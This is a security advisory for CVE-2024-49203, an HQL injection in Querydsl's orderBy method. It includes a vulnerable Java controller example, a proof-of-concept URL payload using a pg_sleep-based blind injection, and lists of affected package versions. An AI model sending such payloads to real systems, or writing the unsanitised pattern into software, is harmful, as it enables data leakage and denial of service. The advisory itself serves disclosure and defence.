GHSA-6q3q-6v5j-h6vg

Suggest an improvement
Source
https://github.com/advisories/GHSA-6q3q-6v5j-h6vg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-6q3q-6v5j-h6vg/GHSA-6q3q-6v5j-h6vg.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-6q3q-6v5j-h6vg
Aliases
  • CVE-2024-49203
Published
2024-11-27T19:00:53Z
Modified
2024-11-27T19:12:20.031447Z
Severity
  • 8.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L CVSS Calculator
  • 8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
Querydsl vulnerable to HQL injection trough orderBy
Details

Summary

The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.

Details

Vulnerable code may look as follows:

@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
    JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
    PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");

    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
    JPAQuery<Test> orderedQuery = query.orderBy(order);
    return orderedQuery.fetch();
}

Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.

PoC

Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:

1) Create JPAQuery object instance:

JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);

2) Create OrderSpecifier object instance:

PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));

Where orderBy variable is user provided input.

3) order and run the query

JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();

When user goes to URL /products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id The generated query will look something like this:

select test                                                                                                                                     
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc

Environment

Library versions used in proof of concept to reproduce the vulnerability:

querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4

Impact

The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-89"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-27T19:00:53Z"
}
References

Affected packages

Maven / io.github.openfeign.querydsl:querydsl-jpa

Package

Name
io.github.openfeign.querydsl:querydsl-jpa
View open source insights on deps.dev
Purl
pkg:maven/io.github.openfeign.querydsl/querydsl-jpa

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
6.8.0

Affected versions

5.*

5.0.1
5.1
5.1.1
5.2
5.3
5.4
5.5
5.6

6.*

6.0.0.M1
6.0.0.M2
6.0.0.M3
6.0.0.RC1
6.0
6.0.1
6.0.2
6.0.3
6.1
6.2
6.2.1
6.3
6.4
6.5
6.6
6.7
6.8

Maven / io.github.openfeign.querydsl:querydsl-apt

Package

Name
io.github.openfeign.querydsl:querydsl-apt
View open source insights on deps.dev
Purl
pkg:maven/io.github.openfeign.querydsl/querydsl-apt

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
6.8.0

Affected versions

5.*

5.0.1
5.1
5.1.1
5.2
5.3
5.4
5.5
5.6

6.*

6.0.0.M1
6.0.0.M2
6.0.0.M3
6.0.0.RC1
6.0
6.0.1
6.0.2
6.0.3
6.1
6.2
6.2.1
6.3
6.4
6.5
6.6
6.7
6.8

Maven / com.querydsl:querydsl-jpa

Package

Name
com.querydsl:querydsl-jpa
View open source insights on deps.dev
Purl
pkg:maven/com.querydsl/querydsl-jpa

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
5.1.0

Affected versions

4.*

4.0.0
4.0.1
4.0.2
4.0.3
4.0.4
4.0.5
4.0.6
4.0.7
4.0.8
4.0.9
4.1.0
4.1.1
4.1.2
4.1.3
4.1.4
4.2.0
4.2.1
4.2.2
4.3.0
4.3.1
4.4.0

5.*

5.0.0.M1
5.0.0
5.1.0

Maven / com.querydsl:querydsl-apt

Package

Name
com.querydsl:querydsl-apt
View open source insights on deps.dev
Purl
pkg:maven/com.querydsl/querydsl-apt

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
5.1.0

Affected versions

4.*

4.0.0
4.0.1
4.0.2
4.0.3
4.0.4
4.0.5
4.0.6
4.0.7
4.0.8
4.0.9
4.1.0
4.1.1
4.1.2
4.1.3
4.1.4
4.2.0
4.2.1
4.2.2
4.3.0
4.3.1
4.4.0

5.*

5.0.0.M1
5.0.0
5.1.0